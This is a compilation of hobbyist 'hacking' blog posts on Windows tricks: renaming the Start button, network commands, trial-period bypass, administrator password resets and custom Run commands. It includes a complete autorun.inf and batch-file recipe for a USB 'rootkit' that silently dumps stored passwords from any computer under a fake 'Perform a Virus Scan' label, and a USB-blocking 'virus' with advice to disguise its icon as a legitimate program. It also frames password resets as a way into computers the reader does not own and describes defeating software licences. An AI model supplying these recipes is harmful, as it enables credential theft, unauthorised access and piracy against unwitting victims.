Renaming Win XP Start Menu Button

Renaming Win XP Start Menu Button

This guide will show you how to edit/rename the Windows XP start menu button. Are you bored of having the name “start”? If so now you can rename your start menu button to give the name of your choice.

STEP 1: BYPASSING WINDOWS FILE PROTECTION

1. Launch My Computer, click tools, folder options, then view

2. Select show all hidden files and folders option and uncheck the option hide protected operating system files, unckeck hide extention for known file types

3. Goto C:\windows\system32\restore, select the file filelist.xml, right click it go to properties and uncheck the option read-only

4. Open it (filelist.xml) with notepad

5. Add the line <rec>%systemroot%\explorer.exe</rec> as shown below

<exclude>
<rec>%systemroot%\explorer.exe</rec>
<rec> %windir%\system.ini</rec>
<rec> %windir%\tasks\desktop.ini</rec>
<rec> %windir%\win.ini</rec>
<rec> *:\AUTOEXEC.BAT </rec>
<rec>*:\CONFIG.MSI</rec>
<rec> *:\CONFIG.SYS </rec>

6. Save the file

7. Goto C:\windows\system32\dllcache, you will find a backup copy of explorer.exe. Rename it to explorer.bak.

STEP 2: CHANGING THE NAME OF START BUTTON

1. Using Resource Hacker, open the file explorer.exe located at C:\windows.

2. Expand string, expand 37, click on 1033

3. On right side raname “start” to anything you want. For ex. “yourname” and press “compile script”

4. Repeat the same procedure for string 38, 1033

5. Save changes in file menu (if error occurs close explorer.exe and repeat sub-step 3 and 4)

6. Restart your computer. After restart you can see the changes. Enjoy!

Windows IP Utilities

Windows IP Utilities

The following are the IP utilities available in Windows that help in finding out the information about IP Hosts and domains. These are the basic IP Hacking Commands that everyone must know!

Please note that the the term Host used in this article can also be assumed as a Website for simple understanding purpose.

1. PING

PING is a simple application (command) used to determine whether a host is online and available. PING command sends one or more ICMP Echo messages to a specified host requesting a reply. The receiver (Target Host) responds to this ICMP Echo message and returns it back to the sender. This confirms that the Host is online and available. Otherwise the host is said to be unavailable.

Syntax:
C:\>ping gohacking.com

 

2. TELNET

Telnet command is used to connect to a desired host on a specified port number. For example

Syntax:
C:\>telnet yahoo.com 25
C:\>telnet yahoo.com

 

NOTE: The default port number is 23. When the port number is not specified the default number is assumed.

 

Telnet Hacking is explained in detail in the following post.
How To Send Fake Email

 

3. NSLOOKUP

Many times we think about finding out the IP address of a given site. Say for example google.com, yahoo.com, microsoft.com etc. But how to do this? For this there are some websites that can be used to find out the IP address of a given site. But in Windows we have an inbuilt tool to do this job for us. It is nslookup. Yes this tool can be used for resolving a given domain name into it’s IP address (determine the IP of a given site name). Not only this it can also be used for reverse IP lookup. That is if the IP address is given it determines the corresponding domain name for that IP address.

Syntax:
C:\>nslookup google.com

 

4. NETSTAT

The netstat command can be used to display the current TCP/IP network connections. For example the following netstat command displays all connections and their corresponding listening port numbers.

Eg: C:\>netstat -a

 

This command can be used to determine the IP address/Host names of all the applications connected to your computer. If a hacker is connected to your system even the hacker’s IP is displayed. So the netstat command can be used to get an idea of all the active connections to a given system.

How to Sniff Passwords Using USB Drive

How to Sniff Passwords Using USB Drive

As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to sniff passwords from any computer. We need the following tools to create our rootkit. 

 

MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.

 

Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.

 

IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0

 

Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…

 

PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename. 

 

Here is a step by step procedre to create the password hacking toolkit.

NOTE: You must temporarily disable your antivirus before following these steps.

 

1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.
ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exeinto your USB Drive.

 

2. Create a new Notepad and write the following text into it

[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

save the Notepad and rename it from
New Text Document.txt to autorun.inf
Now copy the autorun.inf file onto your USB pendrive.

 

3. Create another Notepad and write the following text onto it.

start mspass.exe /stext mspass.txt start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt

save the Notepad and rename it from
New Text Document.txt to launch.bat
Copy the launch.bat file also to your USB drive.

 

Now your rootkit is ready and you are all set to sniff the passwords. You can use this pendrive on on any computer to sniff the stored passwords. Just follow these steps

 

1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).

 

2. In the pop-up window, select the first option (Perform a Virus Scan).

 

3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.

 

4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.

 

This hack works on Windows 2000, XP and Vista

NOTE: This procedure will only recover the stored passwords (if any) on the Computer.

Hack Software and Run the Trial Program Forever

Hack Software and Run the Trial Program Forever

In this post I’ll show you how to hack a Software and run the trial program forever. Most of us are familiar with many softwares that run only for a specified period of time in the trial mode. Once the trial period is expired these softwares stop functioning and demand for a purchase. But there is a way to run the softwares and make them function beyond the trial period. Isn’t this interesting?

Before I tell you how to hack the software and make it run in the trial mode forever, we have to understand the functioning of these softwares. I’ll try to explain this in brief.

When these softwares are installed for the first time, they make an entry into the Windows Registry with the details such as Installed Date and Time, installed path etc. After installation every time you run the software, it compares the current system date and time with the installed date and time. So, with this it can make out whether the trial period is expired or not.

So with this being the case, just manually changing the system date to an earlier date will not solve the problem. For this purpose there is a small Tool known as RunAsDate.

RunAsDate is a small utility that allows you to run a program in the date and time that you specify. This utility doesn’t change the current system date, but it only injects the date/time that you specify into the desired application.

RunAsDate intercepts the kernel API calls that returns the current date and time (GetSystemTime, GetLocalTime, GetSystemTimeAsFileTime), and replaces the current date/time with the date/time that you specify. It works with Windows 2000, XP, 2003 and Vista.

NOTE: FOLLOW THESE TIPS CAREFULLY

You have to follow these tips carefully to successfully hack a software and make it run in it’s trial mode forever.

1. Note down the date and time, when you install the software for the first time.

2. Once the trial period expires, you must always run the software using RunAsDate.

3. After the trial period is expired, do not run the software(program) directly. If you run the software directly even once, this hack may no longer work.

4. It is better and safe to inject the date of the last day in the trial period.

For example, if the trial period expires on jan 30 2009, always inject the date as jan 29 2009in the RunAsDate. I hope this helps! Please express your experience and opinions through comments.

How to Hack Windows Administrator Password

How to Hack Windows Administrator Password

This hack will show you how to reset Windows administrator password (for Win 2000, XP, Vista and Win 7) at times when you forget it or when you want to gain access to a computer for which you do not know the password.

Most of us have experienced a situation where in we need to gain access to a computer which is password protected or at times we may forget the administrator password without which it becomes impossible to login to the computer. So here is an excellent hack using which you can reset the password or make the password empty (remove the password) so that you can gain administrator access to the computer. You can do this with a small tool called  Offline NT Password & Registry Editor. This utility works offline, that means you need to shut down your computer and boot off your using a floppy disk, CD or USB device (such as pen drive). The tool has the following features.

• You do not need to know the old password to set a new one
• Will detect and offer to unlock locked or disabled out user accounts!
• There is also a registry editor and other registry utilities that works under linux/unix, and can be used for other things than password editing.

 

How it works?

 

Most Windows operating systems stores the login passwords and other encrypted passwords in a file called sam (Security Accounts Manager). This file can be usually found in \windows\system32\config. This file is a part of Windows registry and remains inaccessible as long as the OS is active. Hence it is necessary that you need to boot off your computer and access this sam file via boot. This tool intelligently gains access to this file and will reset/remove the password associated with administrator or any other account.

The download link for both CD and floppy drives along with the complete instructions is given below

Offline NT Password & Reg Editor Download

It is recommended that you download the CD version of the tool since floppy drive is outdated and doesn’t exist in today’s computer. Once you download you’ll get a bootable image which you need to burn it onto your CD. Now boot your computer from this CD and follow the screen instructions to reset the password.

 

Another simple way to reset non-administrator account passwords

 

Here is another simple way through which you can reset the password of any non-administrator accounts. The only requirement for this is that you need to have administrator privileges. Here is a step-by-step instruction to accomplish this task.

1. Open the command prompt (Start->Run->type cmd->Enter)

2. Now type net user and hit Enter

3. Now the system will show you a list of user accounts on the computer. Say for example you need to reset the password of the account by name John, then do as follows

4. Type net user John * and hit Enter. Now the system will ask you to enter the new password for the account. That’s it. Now you’ve successfully reset the password for John without knowing his old password.

So in this way you can reset the password of any Windows account at times when you forget it so that you need not re-install your OS for any reason. I hope this helps.

How to Create Your Own Customized Run Commands

How to Create Your Own Customized Run Commands

The Run command on Microsoft Windows operating system allows you to directly open an application or document with just a single command instead of navigating to it’s location and double-clicking the executable icon. However, it only works for some of the inbuilt Windows programs such as Command prompt (cmd), Calculator (calc) etc. So, have you ever wondered how to create your own customized Run commands for accessing your favorite programs, files and folders? Well, read on to find out the answer. 

CREATING THE CUSTOMIZED RUN COMMAND

 

Let me take up an example of how to create a customized run command for opening the Internet explorer. Once you create this command, you should be able to open the Internet explorer just by typing “ie” (without quotes) in the Run dialog box. Here is how you can do that.

1. Right click on your Desktop and select New -> Shortcut.

2. You will see a “Create Shortcut” Dialog box as shown below

3. Click on “Browse”, navigate to: Program Files -> Internet Explorer from your Root drive (usually C:\) and select “iexplore” as shown in the above figure and click on “OK”.

4. Now click on “Next” and type any name for your shortcut. You can choose any name as per your choice; this will be your customized “Run command”. In this case I name my shortcut as “ie”. Click on “Finish”.

5. You will see a shortcut named “ie” on your desktop. All you need to do is just copy this shortcut and paste it in your Windows folder (usually “C:/Windows”). Once you have copied the shortcut onto your Windows folder, you can delete the one on your Desktop.

6. That’s it! From now on, just open the Run dialog box, type ie and hit Enter to open the Internet Explorer.

In this way you can create customized Run commands for any program of your choice. Say “ff” for Firefox, “ym” for Yahoo messenger, “wmp” for Windows media player and so on. 

To do this, when you click on “Browse” in the Step-3, just select the target program’s main executable (.exe) file which will usually be located in the C:\Program Files folder. Give a simple and short name for this shortcut as per your choice and copy the shortcut file onto the Windows folder as usual. Now just type this short name in the Run dialog box to open the program.

I hope you like this post! Pass your comments.

A Virus Program to Disable USB Ports

A Virus Program to Disable USB Ports

In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.

Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.

1. Download the USB_Block.rar file on to your computer.

2. It contains the following 4 files.

• block_usb.c (source code)
• unblock_usb.c (source code)

3. You need to compile them before you can run it. A step-by-step procedure to compile C programs is given in my post - How to Compile C Programs.

3. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).

4. To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe  (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.

5. You can also change the icon of this file to make it look like a legitimate program. For more details on this refer my post – How to Change the ICON of an EXE file (This step is also optional).

I hope you like this post. Please pass your comments.